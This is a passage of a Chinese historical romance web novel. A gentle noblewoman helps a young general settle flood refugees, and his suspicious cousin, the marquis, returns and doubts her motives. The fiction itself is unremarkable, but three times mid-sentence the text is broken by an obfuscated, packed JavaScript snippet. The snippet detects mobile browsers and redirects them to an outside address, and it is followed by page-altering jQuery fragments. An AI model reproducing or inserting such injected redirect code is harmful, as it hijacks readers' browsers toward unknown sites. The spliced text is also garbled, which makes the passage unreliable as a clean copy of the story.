霍垣难道不知道这些礼数吗？是男子是不用被教导这些规矩？还是……地方风俗不同？ “嗯？”霍垣疑惑她没有动作，以为她与自己生分，于是往里进了半个身子，想同她讲话。 霍垣一钻进来都要贴在元窈脸上，她不由瑟缩，叫人：“二公子……” 这一声颤巍巍的，像是被凛风吹动的幼嫩枝丫，娇娇软软做着无谓的抗争。 霍垣从不曾于谁家姑娘相近，小时最爱跟玩伴捉鸟摸鱼，分毫不知男女之间礼数，他视她为妻，心底喜欢就压不住想要亲近，言笑晏晏问：“杳杳是吗？你是哪个杳？” 元窈不想他真记下了，惊讶看他，少年英俊眼中似有碎星，笑脸不见杂意，让人觉得亲近温暖。她暂忘了紧张，心里微漾，温声细语道：“眴兮杳杳，孔静幽默。” 闻此，霍垣迟地眨眨眼，眼底茫然：“啊？” 见他不知，元窈想了想，又说：“鱼沉雁杳，杳杳冥冥，杳不可闻——”“啊，我知道了，也是杳无音讯的杳是吧？”霍垣不觉得窘迫，只有猜中的喜悦，由衷赞她：“杳杳，我能这样叫你吗？你读书真多，我都不知道这些。” “没、没有……我只识些字罢了。”元窈担不起他夸，脸颊微红。眴兮杳杳，孔静幽默，这是阿母常念的话。 美人面薄，若是知些礼数的都会巧避。霍垣却不这样，杳杳貌美，脸红像海棠流蜜一般，看着就甜滋滋的，他被迷住了眼说的话漫无边际起来，含糊着：“那我还没你识字多呢，日后，你教我识字……” 他话中似有绵绵情意，一字一句敲下来，砸得元窈头晕目眩，疑心自己身上莫不是有什么迷魂香使得霍垣迷失神智，还是说霍垣就是这般纯善柔情之人？ “走吧杳杳，喜欢什么，我给你买。”霍垣直接握住元窈的手把她拉下来。 荒唐极了。 任凭桑娘或是刘伯在都不会让霍垣如此。 走了一段路，元窈那只没被握着的手都要捻破衣袖了，她实在难忍停下脚步，轻轻使力想要拽出自己的手并说：“二公子，我们……这样不大合适。” 霍垣这才一愣自己都正做什么，忙松开她，他……原只是想把人领下马车，怎么不知不觉就一直握住了人家的手。 意识到自己有失分寸，他垂下手想要解释，脸上又是羞愤又是歉疚：“我……就是……” 元窈低垂着头，很是受惊一般。 他想说自己不是登徒子，是因为知道他们二人日后是要成亲，所以才和她亲近的，但又想到杳杳可能还不知道此行真意……就算知道，怕是也不知道自己要嫁之人是他。 思及此，他忽地怅然了，若是杳杳不想嫁他该怎么办？若是她就是一心为堂兄而来的呢？霎时心底的喜悦全变成了懊悔。 霍垣一番心思全在脸上，这样一个人，一眼就能看到底。指尖灼热退散，元窈绷的得紧紧的心缓缓舒展开，她不觉得霍垣对自己热切不好，只是心底一时无法接受和才见过一面的男子这样亲密。 “我不是有意的杳杳。”他无力的解释。 “没、没事。”元窈摇摇头，替他开脱：“在外游逛，兄长怕我走散也是这样拉着我的。” 她神色无常，睫羽垂落宛如两只小蝶，轻描淡写一句抚去霍垣尴尬，尾音微扬。明明是自己失礼，可到了她嘴里，还想要感谢自己似的。 “嗳……那我们、我们继续走吧。”霍垣承下她情，不由得又深看她一眼，两人并肩走着。 耳边清净，元窈暗暗搓着手心，霍垣年轻，性格也好，若是与他成亲日子一定不会难，定好过伴武侯身侧。 霍垣手掌不自觉蜷起，方才那细腻柔软似乎还在掌心。这位宁家的姑娘可真好，模样这么美，说话声音好听，性子也体贴…… 他全忘了自己前几日的抗拒，和对成亲的恐慌，心中好一阵荡漾，他状似随意对身旁人道：“杳杳不必对我这样生疏，我家中也有小妹，你可叫我……阿垣哥哥吧。” 他家中小妹都是叫他大哥的，但杳杳怎好这么叫他，日后两人关系非比寻常，他记得许多姑娘都是这样亲昵唤自己郎君的。 元窈迟疑地望向霍垣，少年不知想着什么，一副窃喜模样。 “嗯……”她轻轻应声。 霍垣头一遭和女子逛长街，见着什么都稀奇，什么都要比着给元窈试试，不一会儿手上就提了一堆东西。 元窈亦是如此，被霍垣感染，心情很快轻快起来。 一条街走尽，霍垣便携元窈往回水楼去。 在汝南郡时，元窈不曾出过宁府，现来颍川郡看到什么都觉得稀奇，就连巷口的枯枝断桩也要多看几眼。 “霍小将军！”前方来人一身铁甲，是将卫打扮。霍垣应一声让元窈等候，自己迎上去。 那人注意到元窈，眼中一抹惊艳，惊道：“诶，小将军，这是——”“这边说这边说。”霍垣将人推到一边。 霍垣身姿挺拔，和那样魁梧的人站在一块儿也不显孱弱，手里提着一堆瓶瓶盒盒，随着他的动作，叮叮地撞……看着看着，元窈吃笑一声，对以后的日子多了些期待。 “咳咳……” 一道咳嗽声极浅，还伴着女子的低泣声。 元窈寻声找，望进身旁的巷口，声音不停，就是从里面传出来的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575402|171552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元窈看了一眼前面和那个将士款款而谈的霍垣，犹豫一下走进巷子。 巷子里面稍有昏暗，元窈深走几步，在一堆满干草的板车后看到几团抖动的黑影。 她的脚步声引起他们的注意，几人抬头，元窈这才看清她们。一个女子二十上下的模样，她身旁妇人紧闭双眼，脸色灰白咳嗽不止，另有一像十岁出头的……灰头土脸瞧不出男女，细声哭着。 “咳咳咳！——”妇人猛地又咳起来，整个身体都被一下一下牵动着。 元窈看着皱眉，小心问着：“是疫病？” “不！不是！”女子连连否认，她见元窈衣着打扮不凡，面朝元窈跪坐于地，话中有哀求之意：“小姐，我们是上骞村村民，村庄尽被泥石、山洪淹没，我娘在水中泡了半宿，现下是受了风寒不是时疫。” 时疫爆发时，除去武侯所辖之地用心诊治，他处只是风寒、发热者都会当做受染疫病被带到一处诊治，便是没病也没染上了，甚者，更有龌龊。 颍川郡不得明治，百姓闻疾丧色，其实如今已无病疫了。 孩童也凄凄望着元窈，一边哭嘴里一边念着：“我娘没得疫病没得疫病……” 惹哭了孩子，元窈只觉手足无措，想过去哄，又觉得不好，她和霍垣同行，就该谨慎，就算不是疫病也不能轻易接近。 “我……”元窈站在原地想了一下，摘下桑娘才给她带上不久的镯子，在女子的注视下将镯子放在地上，解释：“我无心打扰，只是询问，希望这个能解姑娘燃眉之急。” 说罢，她缓步走出小巷。恰巧这时，霍垣也回来了。 “杳杳。” 元窈抬头，霍垣不见方才喜色，声音也有几分忧愁。 “怎么了？”元窈问道，刚还是好好的，说了几句话怎么就不开心了？ 霍垣叹了一口气，想揭过，可想到自己就要失约，于是解释：“现在灾民入城，但衙署人手不够，简棚还未搭出来，我就想——”霍垣对上元窈关切的眼神，慌乱错开：“我想回衙署搭简棚。” 霍垣暗自懊悔，本是要去看戏，结果突然失约，杳杳一定很难过吧…… “好啊，那我也可以帮忙。”她笑了笑，极尽体贴。 霍垣没想到竟会得到这样暖人心肺的回复，忙说：“虽然人手不够，但也不必劳累你。” “杳杳你一路奔波，才到就被我唤出来闲逛，现在我又爽约，真是我不体贴——”“没有，戏可以改日看，杳杳不急。只是……”元窈话锋一转，瞥了眼盘踞再路边衣着褴褛的男子，“阿垣哥哥，衙署既缺人手，灾民中不乏有青壮男子，为何不集召他们一同搭建简棚？” 霍垣听得眼睛一亮，对啊！他怎么没想到。 “杳杳，你好聪明。”怪不得堂兄说要先成家后立业呢！ 元窈居于宁府唯唯诺诺，除了阿母不曾被人夸奖，但阿母亦是内敛之人，霍垣不吝夸奖，对她很是受用，脸上笑容也多几分真情。 5. 夜语 才晴一两日又刮起风雨，常青山一带受灾的范围再度扩大，武侯迟迟不归，方应知带一队兵马前去相助。城内的灾民越来越多，远超衙署能接济的限度，幸元窈带百石粮食恰解燃眉之急。 天才放晴，睡梦中的元窈就被嘈杂声惊扰，她揉惺忪睡眼下床，说话黏糊：“桑娘怎么回事啊？” 桑娘听她动静进屋，取下衣服帮她穿，叹一声：“是前堂的灾民，有哭的有闹的。” 堂前人声嘈杂，吵得他们也不得安生。 留在衙署看护的衙役不多，全被霍垣安排在内院前，就是怕灾民鱼目混杂生出事端，现下看来，他此举不无道理。 元窈朝外望望，前朝时某王在常青山修建陵墓，掏空了底下山体，外强中干的山经历几百年风雨摧残在这时彻底塌了，那些灾民，彻底回不去家了。 “阿垣哥哥呢？”擦好脸，元窈把巾帕递回桑娘。 “才回来，去书房了罢。” 元窈点头，端着桑娘备好的瓜果往书房去。 常青山一点消息都要让衙署内灾民躁动，有悲者叫衰不止。霍垣生怕引发暴动，正为此焦头烂额，想要修书一封传给霍褚，询问该如何处理，才走到书房就见一抹倩影。 衙署内只有一人有这样窈窕的身姿。 “杳杳。”霍垣唤她。 元窈转身，见人就笑：“阿垣哥哥，我还以为你在书房呢。” 霍垣走近闻着瓜果香和元窈身上的清甜，心情稍有明媚，却仍不足以盖过眉间愁绪。他声音晴朗透彻：“我正要来书房。” 元窈侧身让路，霍垣走在前头推门进入，她跟在后面，嗓音轻缓：“阿垣哥哥很是烦恼的模样可是和堂前灾民有关，才还听到有好大的动静。” “嗯。”霍垣闷闷不乐，坐在书案旁，拾起笔：“才收到传信，常青山周遭数和村庄被盖没，这么多灾民逃出来还是有不少死伤，而且……这些人今后也无家可归了。” “这些人太难安定，方才还有人寻死，堂前乌泱泱一片，我实在担心生出什么事端。” 元窈放下玉盏，安静聆听。宁慎说过流民之势不容小觑，无依无靠的伶仃人做事是最没顾忌的。 她切好一块甜瓜推到霍垣眼前，故作沉吟，而后开口：“寻常百姓一生不过为生计奔波，自认生活无望才会有轻生的念想，阿垣哥哥可以先对他们施以安抚，武侯既去常青山施救就不会对灾民们弃之不顾。” “听闻颍川郡有过大变故，如今城中许多地方闲弃，这些地方日后也是要修缮的，就好比衙署。我猜想这些灾民都是村中的百姓，该是会搭建、修缮房屋的，他们清闲着就难免自怨自艾胡思乱想，阿垣哥哥何不趁现在雇用他们去修缮城中容易修缮之处，这样一来，他们能赚到银钱就不会恐慌难安，有事做就不会惹是生非。” 元窈说时一直观察霍垣神情，见他眼中有大悟之色又说：“若是衙署内没有银钱，我带来一些。” 霍垣哪儿需要她的钱，忙说不用。他痴痴望着元窈，满眼都是敬佩：“杳杳你想得真周到，我都想不到这些，你以后也教教我，我一定用心学……” 他从小习武，不通政事，就是代笔书信之事霍褚也从不用他做，碰上这一摊子事就手忙脚乱了，方应知忧心常青山险情，丝毫不管衙署中的灾民，这些日子多亏有元窈为他出谋划策。 元窈被霍垣夸得晕头转向，心里沁蜜了一般。 两人对了遍说辞，霍垣便赶去前堂，元窈晚他几步出院。内院里前两日就修缮妥当，几个庭院由专门筛选出的妇人清扫，元窈瞟一眼霍垣背影，脚下一转朝正院走去。 刘伯正带府上杂役栽树培草，见着元窈纷纷问好，“小姐可有事吩咐？” “阿垣哥哥房中该重新上漆，书房桌脚有损也该修补更换，我想看看武侯院中可缺失什么，一并叫人采买回来。”元窈温言道。 刘伯腾不出手，便说：“小姐您先看着，小人随后到。” 元窈点头，走进正房。屋里陈设简洁，不见多少人气，空荡冷清。她装模作样查看一圈才出来，刘伯也匆匆过来，定睛看了元窈一眼，脸上扬起和蔼笑容：“可要装点什么？” “东南角应是有破口，我瞧墙面有些潮斑，门窗也重新上遍漆吧。屋里没些生气，不如也像阿垣哥哥房中那般稍作装饰？”说完元窈边朝书房去，刘伯在她身后亦步亦趋，与她道：“侯爷不喜繁杂，房中向来一切从简。” 刘伯为她推开书房门，随她一起进入：“小姐可先查看再告知小人，书房修整需得侯爷归来再行商议。” 他隔一步远，紧紧跟在元窈身后。 “好。”元窈脸色如常，背对刘伯时秀眉轻拧，面上几分凝重，唇角也被压平了。 …… “怎么不要我们！我们也会做工！”有三两妇人跟着那群青壮年男人要去城西，但被衙役阻拦下。 衙役冷硬连说不行，不许她们过去。 几个妇人急色，眼看着就要起争执，一只白嫩小手突地握住妇人粗糙的手指。 元窈朝妇人笑：“大娘，我这儿还有其他伙计，比做工轻松一些，也是五十文一日。” 闲雨亭外安置的受外伤不能自理的灾民，屋里是伤寒者，需要有人煎药、看护换药。元窈召来一些有经验的妇人，要她们自己选择三至五人看护，给五十到六十文，出了差错便扣工钱，效果甚好。 伤员尽数被安排妥当，元窈松了一口气，再去前堂，被她安排收棉槐条子的衙役也回来了。元窈吩咐下去，收编筐、簸箕之类，六文钱一个。 “姑娘，二公子给您寻的花到了。”桑娘走到元窈身边。 元窈惊喜，提裙要回去，却听见有人叫她。 “小姐……” 元窈回头，是一个看着比她大不了多少的姑娘，两只手的手指捏在一起，很是纠结的模样。 这些动作元窈也时常做，她能看出眼前少女紧张，于是更加温和询问：“是有什么事？” 少女瞅她一眼就匆匆低下头，声音很小：“小姐，我和祖母不会编筐……但会刺绣……” 她说到这儿便不说了，元窈自然懂她未尽之言，她无非是想给这些人找些事做，以免沉浸在无家可归的痛苦中，刺绣编筐都是一样的。刺绣算是精细的技艺，不能和编筐同酬，元窈思索该报之以多少酬劳，正瞥到少女衣领下一压桃枝，在光下似有水波潋滟，颜色渐进、栩栩如生。 元窈自小跟着阿母学习刺绣，心底很是喜欢，乍见这样的绣工情不自禁伸出手碰上去，针脚细密紧实，摸着不像是寻常绣线。 “这是你绣的？”她惊喜。 少女似是惶恐，一边慌乱转身躲开，一边指给元窈看：“我……绣不成这样，是我祖母。” 指尖的小花远离，元窈顺她所指看见一佝偻老人，老人家身材瘦弱，一双眼睛明亮。 她喜上眉梢，亲昵靠近这少女：“阿婆和姐姐有这样的好技艺，何必做工，来教教我吧。” 元窈遂把祖孙二人请到正厅，学绣花学了小半天，还是夜深酸眼睛了才肯停下。 元窈自觉收益颇多，叫桑娘备了重金奉上，哄得老人家多教教她。她沉迷新学的技艺，把祖孙送回去也不肯放下，还一针一线的勾着，青灰方布上，几支白羽飘逸。 元窈看着欣喜，欲锈一只白鸟，填上香料做成香包送于霍垣。 桑娘插好门闩进内室瞧见元窈还坐在烛旁，神态认真。她不懂刺绣之事，见元窈专注不忍扫兴，可… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575403|171552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …但天色已这般昏暗。 “唔——” 桑娘正犹豫该阻挠否时，元窈一时不慎正正扎中指尖，细薄的皮肤被刺出一个深深的血眼，瞬间涌出血点滴落在洁白的丝线上，元窈忙扔下绣棚，含住指尖。 绣了小半日的模样，沾上一滴殷红血珠，十分扎眼。 “诶呦，姑娘。”桑娘蹙着眉头，两步过来收起绣棚，关切又责备看她一眼：“明日再绣吧姑娘，天太晚了。” 元窈难过白费了半日心血，可不敢再熬眼睛了，乖巧点头。 桑娘扶元窈起来。 砰砰—— 有人敲门。 “杳杳，睡了吗？”是霍垣的声音。 都入夜了，霍垣还找到房门口，桑娘不喜，元窈却高兴，应着：“没呢，阿垣哥哥。” 元窈欢欢喜喜过去，霍垣又带了些小玩意儿给她。 霍垣但凡外出都会给她带东西回来，一日三两趟，能带回来好些，都是她不曾见过的。 “难得今日天气好，我偏这样忙，杳杳若不急睡，我们看会儿月亮？” 元窈自然乐意。 赏月是闲情雅致之事，霍垣自然是欣赏不来的，只是为了和元窈独处会儿罢了。 圆月皎洁，银光清冷打在两人身上，夜里无风，院中寂静，实在是难得的祥和之态。 “衙署可算清净了，多亏了杳杳你。”霍垣又忍不住赞她，之前夜里灾民也不消停，今儿把他们带出去做工，天晚才回来，这些人用过晚饭都早早歇下了。 被夸多了，元窈已能做到不喜形于色，只恬然一笑：“阿垣哥哥，我又想到一事。” 霍垣知道她又有好主意，乐不得听。 “阿垣哥哥可以趁这几日瞧瞧这些人中是否有能组织干事者，待稳定下来，直接雇佣干事者将城西修缮之事全权交予他们，让他们自行组织工人，省得阿垣哥哥在旁监——” 元窈话说一半，霍垣直接一把握住她的手，两只大掌紧紧包住元窈的双手。元窈因他突如其来的举动愣了一下，抬眼轻轻看他，剩下的字都被咽了下去。霍垣喜着：“杳杳你简直和我心有灵犀，两百多工我犯愁监管不来呢！” 霍垣许给元窈的花朵开得正艳，院里暗香浮动，两人相视，情愫暗生。 有这一双水眸在月下晶莹闪动，似花容颜也黯然。霍垣失神，直愣愣看她。从前他常听营中兄弟怀念家中妻儿，那时他是如何想的？ 大丈夫当有远志哪儿能被儿女情长绊住脚。 如今他才知自己想错了，有一人能和他心意相通、为他分忧解愁……哪儿能不让人惦念？这几日他只是一会儿看不着元窈就觉得心痒难耐，在外碰着什么都想买回来给她瞧瞧，想讨她欢心，想看她笑。 掌下皮肤柔润，霍垣一颗心也是软绵绵的，他情难自禁，又忍不住说起了胡话。 “杳杳，等堂兄回来，我书信父亲母亲，我们就成婚可好？虽只有几日相处，可我心中好生欢喜于你……” “你莫觉得我轻率，十八年来我从未有这样悸动的时候，从第一眼见你时，我便控制不住与你亲近……” “杳杳你可也心悦于我？我霍垣保证一定不会辜负你，此生此世只待你一人好……” 元窈一张小脸通红，何止是觉得霍垣轻率，她觉得霍垣有些神志不清了，怎么、怎么突然说到这种事上了。 她缓缓抽出自己的手，怯声：“阿垣哥哥，这话不妥……” 霍垣苦恼，冀州民风也不算开放，可也不至于像豫州这般男女之间都不能交往。 元窈不想与他议论这些，反口问他：“阿垣哥哥，可想好日后如何安置灾民了吗？” 安置灾民？这等大事，多是与他无关的。 6. 武侯归 夜色融融星光稀疏，三更声响，吱呀一声城门缓缓打开，嵌石的青灰门后，暗红旌旗飘扬火光冲天。铁蹄噔噔叩地踏过城门，黑色骏马上，男人凤目狭长，瞳仁浓墨深沉，眉眼间凌厉之气骇人，玄色铁甲在月下泛着幽光。 “拜武侯——” 驻守城门两侧的将卫齐刷刷行拜礼，甲胄碰撞胜铜铃半声清脆。一行军队入城，千百马蹄声似闷雷滚滚，马镫锵锵、铁环相击叮当…… 号角声嘶鸣悲嚎，鼓声低沉响彻天际，千军万马奔袭至城门下，少女被束高楼之上，数万长枪击地有憾天之势，号声慑人。 “宁氏反叛！请宁家女戕！” “宁氏反叛！请宁家女戕！” 身后脚步声由远及近，咚咚震耳。后腰猛遭重力，少女身如飘絮，坠入深渊——元窈手脚猛地抽动，喘着粗气慢慢睁开眼睛，床帐被昏暗烛光映出暖黄色，桑娘低鼾声就在耳侧。 是一场惊魂梦。 天渐热，夜里憋闷。元窈莫名难安，长吁一声缓缓坐起，睡梦中的景象在脑海中飘荡不散，安神的檀香闻着都觉呛人，她静静看着伏于榻下的桑娘，小心翼翼下床。 至窗边便听廊上有疾步声，她好奇推开窗棂，正巧撞见霍垣一身长袍急色匆匆。 元窈眼眸一转，堂前确有杂音，莫非是灾民有异动？她心中忧虑，轻手轻脚穿衣推门出去。 霍垣接到城门守卫通报得知霍褚已进城便急忙出来接人，走到正厅，刘伯正为霍褚卸下轻甲。 “哥！”霍垣热切喊人，快步到他身边，“哥你可算回来了！” “嗯。”霍褚应声。 霍垣这半月劳心劳力，见霍褚归来迫不及待大吐苦水。 “小将军，府上可有医师，有些伤民需得医治。”方应知快步走进。 霍垣才刚张口，闻声朝外看，见堂前灯火通明，同时有辘辘车辙声传进正厅，将士排着抬人往里走，他生怕他们安置不妥乱了规矩，急着跑出去喊：“我来我来，你们先别乱动！” 方应知看他这样急着主持大局，漏出赞许的笑容。霍褚疲劳半月见堂弟已会担当，冷硬的神情稍有松缓。 “想不到小将军不仅把灾民照料得当，还能得闲将衙署翻新布置，真是人不可貌相。”归城路上他便听说霍垣城中所为，还以为是百姓夸大，不想他竟真有所治。他从前只见霍垣秉性刚直，战场上有猛虎下山之势，不想他处事有条不紊还会治国安民之道。 霍褚轻嗤一声，沉声问刘伯：“宁家女何在？” “在东院厢房。” 方应知又啧一声，背后取笑：“小将军之前不还不愿？现在怎么把人放在自己院里了？” “宁小姐性情温婉，兰质蕙心，二公子甚是喜欢。”刘伯笑着。 这倒与方应知在城外所闻不同，他只听说有一貌似画中仙女之人常伴霍垣身侧。 霍褚抚去衣袍褶皱，入座自倒一杯凉茶饮下，悠悠问：“这些日子，都是宁家女为他出谋划策？” 霍褚对霍褚品行了解，没有方应知在旁指点，霍褚预想他黔驴技穷，这些日子不敢分毫懈怠，一心早归以防城中生事，现见得这般光景结合一路所闻，自然猜得出缘由。 刘伯听出他语有不善，便禁了声，算是默认。 霍褚心知肚明，堂前霍垣东西奔走，他冷眼相看：“不过半月就将他迷惑至此，此女倒会蛊惑人心。” 方应知本也要赞宁家女聪慧，听闻霍褚这样评说，转念一想也有顾忌：“宁远昭善伪，其女聪慧但不知用心如何，小将军纯善，若被有心之人引诱利用恐成大祸。” “若留不得，除去便是。”男人语气不闻波澜。 方应知早见他狠厉，未接此言，道：“听杨将军言，秦铎之子携十万军马北上——”“哥！”霍垣跑进来，一张俊脸急红了：“你快来看看，你带回来的伤民是不是得了时疫！” 霍垣将人叫走，躲于门侧的元窈才敢喘息，她不敢在此停留，提裙小跑回东院。 怎么办、怎么办…… 她心中惶恐不安，紧张地一下一下揪着下嘴唇。 她太得意忘形了，只顾得讨霍垣喜欢，竟没考虑到自己这样招摇可能会引起武侯疑心。若是武侯怀疑她心有不轨，会不会暗自解决了她？ 因着心中有事，忽听有脚步声近，元窈心中生骇，忙转身，是见桑娘。 桑娘神情关怀：“醒时不见姑娘在床，姑娘怎么了？” 元窈又悔又怕，抖着身子拉桑娘进屋，紧将自己听得话省去一些讲给她。 元窈聪慧不假，却也是个极胆小的，在桑娘看来，武侯不过经别人只言片语对她稍有误解罢了，她只需在武侯面前本分乖顺，武侯定不会发难。 “姑娘且先休息，明日拜过武侯再说。”桑娘哄她上床抚背安抚她。 元窈咬唇闭眼，到底没说出自己最担心之事。 她怕武侯不许霍垣与她亲近。 …… 桑娘惦记主人吩咐，纵元窈向她道明武侯心思，她仍觉男人多是贪色，若武侯见得元窈定有转机，故而她特将元窈好生打扮一番，元窈肤白，蜜粉薄纱芙蓉裙上身可隐约见她精巧肩骨。 桑娘将平日不用的胭脂轻轻压在元窈脸颊，又给她抹一层薄薄口脂。元窈有倾城之容，艳彩上脸便多几分媚色勾人心弦，桑娘看了不住地满意点头。 元窈却始终惴惴不安，她不晓得自己被桑娘装扮成什么模样，耳边常有武侯那句“除去便是”回响。这话说的那样冷，冻得人发颤。 桑娘已问过刘伯武侯行踪，扶着元窈就往正厅去，大有势在必得之态。 元窈手里捏着一把汗，越走腿就越软。 至正厅，却不见人。桑娘疑惑，正刘伯欲送方应知出府，瞧见她二人于是道：“宁小姐，侯爷才去城西了，不如晚些再来吧。” 元窈陡然松了一口气，丝毫未觉桑娘眼中遗憾，听闻武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575404|171552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯不在，她心情都轻快了，笑着朝刘伯谢过，见他身后有客便微微颔首行礼。今儿她不敢再像往常一样往堂前跑，安安静静在厢房学绣。 一对主仆截然不同的反应尽入方应知眼底，他先讶于宁家女貌美，后觉两人有趣，掐着一把话往城西寻霍褚兄弟二人。 霍垣已按元窈所说将城西几片划区交由二十六人负责，约定时间讲好银钱让他们自行组织民工。经他几日观察，这二十六人招来的民工都是自己的同村人，果真如元窈预料那般，不仅没有人被落下，这些人因和同村人共事配合得更加默契，还受人管制。这半月时间，城西早不见破败。 霍垣十分自得，对霍褚笑谈：“我已将修缮好的宅院落锁，贴布告示，今年内返迁者交付五百文钱，可凭房契领取钥匙，过时不候。” 今儿一早他就去寻霍褚讲了这半月种种，说到兴起便拉霍褚来看城西事。丝毫没有霍褚因他昨日大惊小怪折腾得不得合眼的自觉。 霍褚沉眸看城西欣欣向荣之景，对宁家女多几分印象。 确实是个极聪慧的女子。 那便更留不得了。 “对了堂兄，常青山附近都被泥石覆盖，你想好如何安置难民了吗？”霍垣似是询问，但眼底闪光已压不住，就等霍褚一句尚未，他好开口。 霍褚抬眼，淡淡开口：“你可有什么主意？” “主公——小将军——”方应知边走边叫人。 霍垣见他来的时机正好，招手让他快过来。 “我们可以将城西这些闲宅分予他们，让他们交一两银子凭着房契兑相应的宅院，无房契者就需同村半数人为其作证。对于那些愿意在城西安身之人，我们以市价购其地契，算作弥补他们的损失……” 方应知饶有兴味看他：“没有地契也要同村半数人作证？” “不可。”霍垣摇头：“杳——咳咳……如果那样难保有人为了利益做伪，对于无地契者只能衙署负责安排其生计，保证其有安身之道。” 方应知点点头，又说：“经方某一番打听，料想这些民工和衙署中一些妇人是付得出一两银子的，但也有老人幼童相依为命之类，他们付不出一两银子，该当如何呢？若是他们拿不出地契也不能维持生计又当如何？” “在城西单独划出一块给确实付不出银钱者借住，对于不能维持生计者每月供给基本生活所需，当然，也可对其更多施善以彰堂兄爱民如子……” 方应知几次发问，霍垣皆对答如流，让方应知挑不出毛病。他说得口干舌焦，抬头见日头正好，估摸这会儿万福居的点心就要出炉，又扔下几句话便乘马去。 方应知被马踏起的尘烟扑了一脸，甩开折扇扇去，咋舌：“宁家此女，真是与方某不谋而合。” 回程时他便与霍褚商议过如何安置灾民，与霍垣所述大差不差，宁家女甚至比他还多几分仁善细致，这些日子变着法子要他们做工挣钱，不见得有多少人拿不出那一两银子。 7. 难眠夜 自那日赏月后，天气好时霍垣总会邀元窈于庭中小坐，今儿霍垣晚归以为她早歇下了，不想进院却见她在院中等候。 “阿垣哥哥。”元窈亲切唤人，起身朝他走来，“可用过晚饭了？我叫桑娘备了吃食一直温热着。” “多谢杳杳好意，我用过了。”霍褚回来就接管了衙署事宜，霍垣落得清闲便叫府上衙役一同吃酒。 “那可要吃些糕点？阿垣哥哥早上送来的我还留着，等阿垣哥哥一起。” 两人互相惦念的感觉让霍垣倍感甜蜜，他故作矜持，像是遗憾自己心意被辜负：“万福居的糕点才出炉时口味最佳，我特意给你送来，你怎么留到现在才吃。” 元窈听得出他话中真意，叫桑娘把糕点取来，她请霍垣坐下，笑意温柔：“我尝过一块，是不曾尝过的好味道，所以才想和阿垣哥哥共用。” 桑娘呈上糕点又送来一壶热茶，元窈为他斟茶。 桑娘一直盼着带元窈拜武侯，午休后又为她梳妆一番，霍垣看她颜色甚好，许是酒意上头，抑不住想亲近她，“我今日和堂兄说了安置灾民的法子……” 元窈动作一顿，问：“侯爷觉得可行否？” 他一双眼睛又黑又亮，邀功似的：“堂兄自然认为极好，杳杳做事周全细致，他们都挑不出错来。” “那……”元窈将茶送到他手中，“侯爷可知是我的主意？” 霍垣顾忌方应知对宁家心有嫌隙，并没明说这些计策出自元窈，他心智不甚成熟，生怕元窈以为他借花献佛，一口茶水险些呛出来，慌着解释：“我未与堂兄说明是杳杳的主意，但想来他是猜到了，我向来——” 元窈知他误解自己意图，笑着说：“阿垣哥哥这般紧张做甚，我是怕自己幼稚惹人取笑，阿垣哥哥若是未说便不要说了……” …… 秦铎西进益州，北派其子定江夏郡，有与霍褚开战之势。建安侯霍擎于雍州广交羌胡，其心昭昭。内国土四分五裂，外有匈奴虎视眈眈。 霍褚一心伐秦，不欲和三位叔叔交恶，却不想他们竟愚蠢至此引狼入室。与方应知等人在城楼夜谈到戌正时才扶颈回府，刘伯一直在院中等候，见霍褚归来上前询问：“侯爷可用过晚饭？我叫厨房准备？” 他确实食腹空空，但数日不能好眠，疲乏更盛，预想还要等上一时半刻便没什么兴致，途经东院听有女子细语声，又闻霍垣语意亲昵，摇头暗叹进房，除外衣便上床去了。 霍褚伴院中风吹枝叶簌簌入睡，模糊间似又身处那雨夜。 他与霍垣分散，恰逢大雨不得不寻避雨处，客舍主见他落魄不肯收留，他心有不悦不得发作只得在檐下避雨。 远闻车轮溅水声近，一队车马破开雨幕。车停舍前，几个侍女撑伞将车内人搀扶下来。人头攒动中她只看清一抹灰粉身影。 门檐下最遮风雨，有人进门他便往旁边错开身子。 风雨更甚，吹得几个侍女身姿摇动，簇于人中那道身影忽地急急跌坠，他下意识伸手接住，将人扶起。少女落雁之容，脸有梦中酡红色，声比落水滴石清悦…… 热酒入喉，周遭湿凉但身腹燥热犹处冰火之中，睁开眼便见美人垂泪，声形凄楚，两人雨中相拥，少女衣裙浸透，裙下肌肤若隐若现，他一手揽她腰身，隔着轻薄衣料能感受到掌心下暖玉般柔嫩肌肤。 一阵颠簸中他又睁开眼，玉体横陈于旁，少女在他耳畔低语，香风习习，细嫩玉手抚上他胸膛——霍褚猛地睁眼，被一场旖旎梦惊醒。 “啧——”他扯开被子起身，顿时睡意全无，沉声唤近侍备水净身，等了一刻多时才入水。 